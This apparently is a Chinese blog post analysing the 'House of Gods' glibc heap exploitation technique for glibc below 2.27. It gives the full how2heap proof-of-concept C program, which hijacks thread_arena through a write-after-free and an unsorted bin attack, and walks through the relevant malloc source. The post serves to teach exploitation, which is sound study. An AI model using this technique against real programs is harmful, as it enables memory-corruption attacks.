house_of_gods
glibc < 2.27，这是一个比较有趣的利用手法。按 house of gods 搜索没有搜到网上对这个手法的讲解，之前的 how2heap 系列加上这个就齐了。
源码
/* House of Gods PoC */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <inttypes.h>
/*
* Welcome to the House of Gods...
*
* House of Gods is an arena hijacking technique for glibc < 2.27. It supplies
* the attacker with an arbitrary write against the thread_arena symbol of
* the main thread. This can be used to replace the main_arena with a
* carefully crafted fake arena. The exploit was tested against
*
* - glibc-2.23
* - glibc-2.24
* - glibc-2.25
* - glibc-2.26
*
* Following requirements are mandatory
*
* - 8 allocs of arbitrary size to hijack the arena (+2 for ACE)
* - control over first 5 quadwords of a chunk's userdata
* - a single write-after-free bug on an unsorted chunk
* - heap address leak + libc address leak
*
* This PoC demonstrates how to leverage the House of Gods in order to hijack
* the thread_arena. But it wont explain how to escalate further to
* arbitrary code execution, since this step is trivial once the whole arena
* is under control.
*
* Also note, that the how2heap PoC might use more allocations than
* previously stated. This is intentional and has educational purposes.
*
* If you want to read the full technical description of this technique, going
* from zero to arbitrary code execution within only 10 to 11 allocations, here
* is the original document I've written
*
* https://github.com/Milo-D/house-of-gods/blob/master/rev2/HOUSE_OF_GODS.TXT
*
* I recommend reading this document while experimenting with
* the how2heap PoC.
*
* Besides that, this technique abuses a minor bug in glibc, which I have
* already submitted to bugzilla at
*
* https://sourceware.org/bugzilla/show_bug.cgi?id=29709
*
* AUTHOR: David Milosevic (milo)
*
* */
/* <--- Exploit PoC ---> */
int main(void) {
printf("=================\n");
printf("= House of Gods =\n");
printf("=================\n\n");
printf("=== Abstract ===\n\n");
printf("The core of this technique is to allocate a fakechunk overlapping\n");
printf("the binmap field within the main_arena. This fakechunk is located at\n");
printf("offset 0x850. Its sizefield can be crafted by carefully binning chunks\n");
printf("into smallbins or largebins. The binmap-chunk is then being linked into\n");
printf("the unsorted bin via a write-after-free bug in order to allocate it back\n");
printf("as an exact fit. One can now tamper with the main_arena.next pointer at\n");
printf("offset 0x868 and inject the address of a fake arena. A final unsorted bin\n");
printf("attack corrupts the narenas variable with a very large value. From there, only\n");
printf("two more allocation requests for at least 0xffffffffffffffc0 bytes of memory\n");
printf("are needed to trigger two consecutive calls to the reused_arena() function,\n");
printf("which in turn traverses the corrupted arena-list and sets thread_arena to the\n");
printf("address stored in main_arena.next - the address of the fake arena.\n\n");
printf("=== PoC ===\n\n");
printf("Okay, so let us start by allocating some chunks...\n\n");
/*
* allocate a smallchunk, for example a 0x90-chunk.
* */
void *SMALLCHUNK = malloc(0x88);
/*
* allocate the first fastchunk. We will use
* a 0x20-chunk for this purpose.
* */
void *FAST20 = malloc(0x18);
/*
* allocate a second fastchunk. This time
* a 0x40-chunk.
* */
void *FAST40 = malloc(0x38);
printf("%p is our 0x90-sized smallchunk. We will bin this chunk to forge a\n", SMALLCHUNK);
printf("fake sizefield for our binmap-chunk.\n\n");
printf("%p is our first fastchunk. Its size is 0x20.\n\n", FAST20);
printf("%p is our second fastchunk with a size of 0x40. The usecase of\n", FAST40);
printf("both fastchunks will be explained later in this PoC.\n\n");
printf("We can move our smallchunk to the unsorted bin by simply free'ing it...\n\n");
/*
* put SMALLCHUNK into the unsorted bin.
* */
free(SMALLCHUNK);
/*
* this is a great opportunity to simulate a
* libc leak. We just read the address of the
* unsorted bin and save it for later.
* */
const uint64_t leak = *((uint64_t*) SMALLCHUNK);
printf("And now we need to make a request for a chunk which can not be serviced by\n");
printf("our recently free'd smallchunk. Thus, we will make a request for a\n");
printf("0xa0-sized chunk - let us call this chunk INTM (intermediate).\n\n");
/*
* following allocation will trigger a binning
* process within the unsorted bin and move
* SMALLCHUNK to the 0x90-smallbin.
* */
void *INTM = malloc(0x98);
printf("Our smallchunk should be now in the 0x90-smallbin. This process also triggered\n");
printf("the mark_bin(m, i) macro within the malloc source code. If you inspect the\n");
printf("main_arena's binmap located at offset 0x855, you will notice that the initial\n");
printf("value of the binmap changed from 0x0 to 0x200 - which can be used as a valid\n");
printf("sizefield to bypass the unsorted bin checks.\n\n");
printf("We would also need a valid bk pointer in order to bypass the partial unlinking\n");
printf("procedure within the unsorted bin. But luckily, the main_arena.next pointer at\n");
printf("offset 0x868 points initially to the start of the main_arena itself. This fact\n");
printf("makes it possible to pass the partial unlinking without segfaulting.\n\n");
printf("So now that we have crafted our binmap-chunk, it is time to allocate it\n");
printf("from the unsorted bin. For that, we will abuse a write-after-free bug\n");
printf("on an unsorted chunk. Let us start...\n\n");
printf("First, allocate another smallchunk...\n");
/*
* recycle our previously binned smallchunk.
* Note that, it is not neccessary to recycle this
* chunk. I am doing it only to keep the heap layout
* small and compact.
* */
SMALLCHUNK = malloc(0x88);
printf("...and now move our new chunk to the unsorted bin...\n");
/*
* put SMALLCHUNK into the unsorted bin.
* */
free(SMALLCHUNK);
printf("...in order to tamper with the free'd chunk's bk pointer.\n\n");
/*
* bug: a single write-after-free bug on an
* unsorted chunk is enough to initiate the
* House of Gods technique.
* */
*((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;
printf("Great. We have redirected the unsorted bin to our binmap-chunk.\n");
printf("But we also have corrupted the bin. Let's fix this, by redirecting\n");
printf("a second time.\n\n");
printf("The next chunk (head->bk->bk->bk) in the unsorted bin is located at the start\n");
printf("of the main-arena. We will abuse this fact and free a 0x20-chunk and a 0x40-chunk\n");
printf("in order to forge a valid sizefield and bk pointer. We will also let the 0x40-chunk\n");
printf("point to another allocated chunk (INTM) by writing to its bk pointer before\n");
printf("actually free'ing it.\n\n");
/*
* before free'ing those chunks, let us write
* the address of another chunk to the currently
* unused bk pointer of FAST40. We can reuse
* the previously requested INTM chunk for that.
*
* Free'ing FAST40 wont reset the bk pointer, thus
* we can let it point to an allocated chunk while
* having it stored in one of the fastbins.
*
* The reason behind this, is the simple fact that
* we will need to perform an unsorted bin attack later.
* And we can not request a 0x40-chunk to trigger the
* partial unlinking, since a 0x40 request will be serviced
* from the fastbins instead of the unsorted bin.
* */
*((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);
/*
* and now free the 0x20-chunk in order to forge a sizefield.
* */
free(FAST20);
/*
* and the 0x40-chunk in order to forge a bk pointer.
* */
free(FAST40);
printf("Okay. The unsorted bin should now look like this\n\n");
printf("head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM\n");
printf(" bk bk bk bk bk\n\n");
printf("The binmap attack is nearly done. The only thing left to do, is\n");
printf("to make a request for a size that matches the binmap-chunk's sizefield.\n\n");
/*
* all the hard work finally pays off...we can
* now allocate the binmap-chunk from the unsorted bin.
* */
void *BINMAP = malloc(0x1f8);
printf("After allocating the binmap-chunk, the unsorted bin should look similar to this\n\n");
printf("head -> main-arena -> FAST40 -> INTM\n");
printf(" bk bk bk\n\n");
printf("And that is a binmap attack. We've successfully gained control over a small\n");
printf("number of fields within the main-arena. Two of them are crucial for\n");
printf("the House of Gods technique\n\n");
printf(" -> main_arena.next\n");
printf(" -> main_arena.system_mem\n\n");
printf("By tampering with the main_arena.next field, we can manipulate the arena's\n");
printf("linked list and insert the address of a fake arena. Once this is done,\n");
printf("we can trigger two calls to malloc's reused_arena() function.\n\n");
printf("The purpose of the reused_arena() function is to return a non-corrupted,\n");
printf("non-locked arena from the arena linked list in case that the current\n");
printf("arena could not handle previous allocation request.\n\n");
printf("The first call to reused_arena() will traverse the linked list and return\n");
printf("a pointer to the current main-arena.\n\n");
printf("The second call to reused_arena() will traverse the linked list and return\n");
printf("a pointer to the previously injected fake arena (main_arena.next).\n\n");
printf("We can reach the reused_arena() if we meet following conditions\n\n");
printf(" - exceeding the total amount of arenas a process can have.\n");
printf(" malloc keeps track by using the narenas variable as\n");
printf(" an arena counter. If this counter exceeds the limit (narenas_limit),\n");
printf(" it will start to reuse existing arenas from the arena list instead\n");
printf(" of creating new ones. Luckily, we can set narenas to a very large\n");
printf(" value by performing an unsorted bin attack against it.\n\n");
printf(" - force the malloc algorithm to ditch the current arena.\n");
printf(" When malloc notices a failure it will start a second allocation\n");
printf(" attempt with a different arena. We can mimic an allocation failure by\n");
printf(" simply requesting too much memory i.e. 0xffffffffffffffc0 and greater.\n\n");
printf("Let us start with the unsorted bin attack. We load the address of narenas\n");
printf("minus 0x10 into the bk pointer of the currently allocated INTM chunk...\n\n");
/*
* set INTM's bk to narenas-0x10. This will
* be our target for the unsorted bin attack.
* */
*((uint64_t*) (INTM + 0x8)) = leak - 0xa40;
printf("...and then manipulate the main_arena.system_mem field in order to pass the\n");
printf("size sanity checks for the chunk overlapping the main-arena.\n\n");
/*
* this way we can abuse a heap pointer
* as a valid sizefield.
* */
*((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;
printf("The unsorted bin should now look like this\n\n");
printf("head -> main-arena -> FAST40 -> INTM -> narenas-0x10\n");
printf(" bk bk bk bk\n\n");
printf("We can now trigger the unsorted bin attack by requesting the\n");
printf("INTM chunk as an exact fit.\n\n");
/*
* request the INTM chunk from the unsorted bin
* in order to trigger a partial unlinking between
* head and narenas-0x10.
* */
INTM = malloc(0x98);
printf("Perfect. narenas is now set to the address of the unsorted bin's head\n");
printf("which should be large enough to exceed the existing arena limit.\n\n");
printf("Let's proceed with the manipulation of the main_arena.next pointer\n");
printf("within our previously allocated binmap-chunk. The address we write\n");
printf("to this field will become the future value of thread_arena.\n\n");
/*
* set main_arena.next to an arbitrary address. The
* next two calls to malloc will overwrite thread_arena
* with the same address. I'll reuse INTM as fake arena.
*
* Note, that INTM is not suitable as fake arena but
* nevertheless, it is an easy way to demonstrate that
* we are able to set thread_arena to an arbitrary address.
* */
*((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);
printf("Done. Now all what's left to do is to trigger two calls to the reused_arena()\n");
printf("function by making two requests for an invalid chunksize.\n\n");
/*
* the first call will force the reused_arena()
* function to set thread_arena to the address of
* the current main-arena.
* */
malloc(0xffffffffffffffbf + 1);
/*
* the second call will force the reused_arena()
* function to set thread_arena to the address stored
* in main_arena.next - our fake arena.
* */
malloc(0xffffffffffffffbf + 1);
printf("We did it. We hijacked the thread_arena symbol and from now on memory\n");
printf("requests will be serviced by our fake arena. Let's check this out\n");
printf("by allocating a fakechunk on the stack from one of the fastbins\n");
printf("of our new fake arena.\n\n");
/*
* construct a 0x70-fakechunk on the stack...
* */
uint64_t fakechunk[4] = {
0x0000000000000000, 0x0000000000000073,
0x4141414141414141, 0x0000000000000000
};
/*
* ...and place it in the 0x70-fastbin of our fake arena
* */
*((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);
printf("Fakechunk in position at stack address %p\n", fakechunk);
printf("Target data within the fakechunk at address %p\n", &fakechunk[2]);
printf("Its current value is %#lx\n\n", fakechunk[2]);
printf("And after requesting a 0x70-chunk...\n");
/*
* use the fake arena to perform arbitrary allocations
* */
void *FAKECHUNK = malloc(0x68);
printf("...malloc returns us the fakechunk at %p\n\n", FAKECHUNK);
printf("Overwriting the newly allocated chunk changes the target\n");
printf("data as well: ");
/*
* overwriting the target data
* */
*((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;
printf("%#lx\n", fakechunk[2]);
/*
* confirm success
* */
assert(fakechunk[2] == 0x4242424242424242);
return EXIT_SUCCESS;
}
前置知识
先了解一下 binmap 的用处。
struct malloc_state
{
[...]
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
binmap 在 malloc 过程中的下面两个场景会被修改：
- 在遍历
unsorted bin 中的空闲 chunk 时如果将该 chunk 放入对应的 small bin 或 large bin 中会在 binmap 对应位置置位。
mark_bin(av, victim_index);
#define mark_bin(m, i) ((m)->binmap[idx2block(i)] |= idx2bit(i))
- 在遍历
small bin + large bin 找大小不小于当前 chunk 的空闲 chunk 时如果对应 binmap 置位的 bin 是空闲的就将对应位置复位。
av->binmap[block] = map &= ~bit;
调试
首先申请依次申请 SMALLCHUNK_0x90, FASTCHUNK_0x20, FASTCHUNK_0x40，然后将 SMALLCHUNK_0x90 释放到 unsorted bin 中。
然后申请 SMALLCHUNK_0xa0(INTM)，这时候会触发第一个改变 binmap 的条件，会将 binmap[0] 改为 0x200，我们将其作为fake_chunk_size，暂且叫包含 binmap 的 fake_chunk 叫 BINMAP。并将 SMALLCHUNK_0x90 放进 small_bin_0x90 的位置上。
然后重新申请 SMALLCHUNK_0x90，再将其释放到 unsorted_bin 中。利用 UAF 漏洞将其 SMALLCHUNK_0x90.bk->&main_arena.bins[253]，也就是 fake_chunk_prevsize。 再将 FASTCHUNK_0x40.bk->(SMALLCHUNK_0xa0)INTM，然后释放 FASTBIN_0x20, FASTBIN_0x40。其中 FASTBIN_0x20 正好位于 main_arena_size 的位置，其作用是确保 main_arena 所在的 fake chunk 的 size 大于 2 * SIZE_SZ 此时 unsorted bin 结构如下。
_(因为 binmap 数组是 uint 类型是 4 字节大小，所以 fake_chunk_binmap.bk == next ，next 指针指向 &main_arena)_
head.bk -> SMALLCHUNK_0x90.bk -> BINMAP.bk -> main-arena.bk -> FASTCHUNK_0x40.bk -> INTM
此时申请 0x1f8 大小的 chunk 将会把正好合适的 BINMAP 申请出来。之后我们考虑通过如何把 arena 切换到 伪造的 arena 上。在 __libc_malloc 上，我们通过 arena_get 来获取 arena 。由于 arena 的 flags 的值一般为 0 ，因此将宏展开后发现实际上是获取的 thread_arena 的值。
#define arena_get(ptr, size) \
do { \
ptr = thread_arena; \
arena_lock(ptr, size); \
} while (0)
在 arena_get 获取 arena 后会调用 _int_malloc 尝试申请内存，如果 _int_malloc 返回 NULL 则调用 arena_get_retry 和 _int_malloc 尝试再次分配内存。
arena_get(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL) {
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}
由于 arena 为 main_arena ，因此实际上调用的是 arena_get2 。
static mstate
arena_get_retry(mstate ar_ptr, size_t bytes) {
LIBC_PROBE(memory_arena_retry, 2, bytes, ar_ptr);
if (ar_ptr != &main_arena) {
...
} else {
(void) mutex_unlock(&ar_ptr->mutex);
ar_ptr = arena_get2(bytes, ar_ptr);
}
return ar_ptr;
}
在 arena_get2 函数中，如果 n <= narenas_limit - 1 则调用 _int_new_arena 创建一个新的 arena 。否则调用 reused_arena 从现有的 arena 中找一个可用的 arena。
static mstate internal_function arena_get2(size_t size, mstate avoid_arena) {
mstate a;
static size_t narenas_limit;
a = get_free_list(); // 调试发现返回 NULL
if (a == NULL) {
/* Nothing immediately available, so generate a new arena. */
if (narenas_limit == 0) {
if (mp_.arena_max != 0)
narenas_limit = mp_.arena_max;
else if (narenas > mp_.arena_test) {
int n = __get_nprocs();
if (n >= 1)
narenas_limit = NARENAS_FROM_NCORES(n);
else
/* We have no information about the system. Assume two
cores. */
narenas_limit = NARENAS_FROM_NCORES(2);
}
}
repeat:;
size_t n = narenas;
/* NB: the following depends on the fact that (size_t)0 - 1 is a
very large number and that the underflow is OK. If arena_max
is set the value of arena_test is irrelevant. If arena_test
is set but narenas is not yet larger or equal to arena_test
narenas_limit is 0. There is no possibility for narenas to
be too big for the test to always fail since there is not
enough address space to create that many arenas. */
if (__glibc_unlikely(n <= narenas_limit - 1)) {
if (catomic_compare_and_exchange_bool_acq(&narenas, n + 1, n))
goto repeat;
a = _int_new_arena(size);
if (__glibc_unlikely(a == NULL))
catomic_decrement(&narenas);
} else
a = reused_arena(avoid_arena);
}
return a;
}
reused_arena 从 next_to_use 开始沿 arena.next 链表找第一个满足 !arena_is_corrupt(result) && !mutex_trylock(&result->mutex) 的 arena ，并且会将找到的 arena 赋值给 thread_arena ，然后更新 next_to_use 为下一个 arena 。
static size_t narenas = 1;
static mstate
reused_arena(mstate avoid_arena) {
mstate result;
/* FIXME: Access to next_to_use suffers from data races. */
static mstate next_to_use;
if (next_to_use == NULL)
next_to_use = &main_arena;
/* Iterate over all arenas (including those linked from
free_list). */
result = next_to_use;
do {
if (!arena_is_corrupt(result) && !mutex_trylock(&result->mutex))
goto out;
/* FIXME: This is a data race, see _int_new_arena. */
result = result->next;
} while (result != next_to_use);
...
out:
...
thread_arena = result;
next_to_use = result->next;
return result;
}
因此我们可以修改 main_arena.next 指向伪造的 arena 然后两次调用 malloc(0xffffffffffffffbf + 1)，（第一次调用result==&main_arena;next_to_use==INTM）; 通过 checked_request2size(bytes, nb); 宏使得 _int_malloc 返回 NULL，最终使得 thread_arena 指向我们伪造的 arena 。
首先需要确保 narenas > narenas_limit - 1 从而调用 reused_arena ，因此要构造 unsorted bin attack 将 narenas 改成一个较大的数。为了确保从 unsorted bin 中取出的 chunk 能通过 victim->size > av->system_mem 检查，我们将 main_arena.system_mem 赋值为0xffffffffffffffff 。将 INTM.bk 指向 &narenas - 0x10 构造 unsorted bin attack。
申请 0xa0 大小的 chunk （申请被构造在 unsorted bin 的 INTM）触发 unsorted bin attack。此时 arenas 上被写入了 &main_arena.top 。
将 main_arena.next 指向 INTM ，连续两次 malloc(0xffffffffffffffbf + 1); 将 thread_arena 指向我们伪造的 INTM 。
伪造如下 fast_chunk
之后将 (uint64_t) (INTM_prev+0x30) 指向伪造的 chunk 。
此时如果 malloc(0x68) 就会将目标地址处的内存申请出来。
发表于 2023-10-28 15:05
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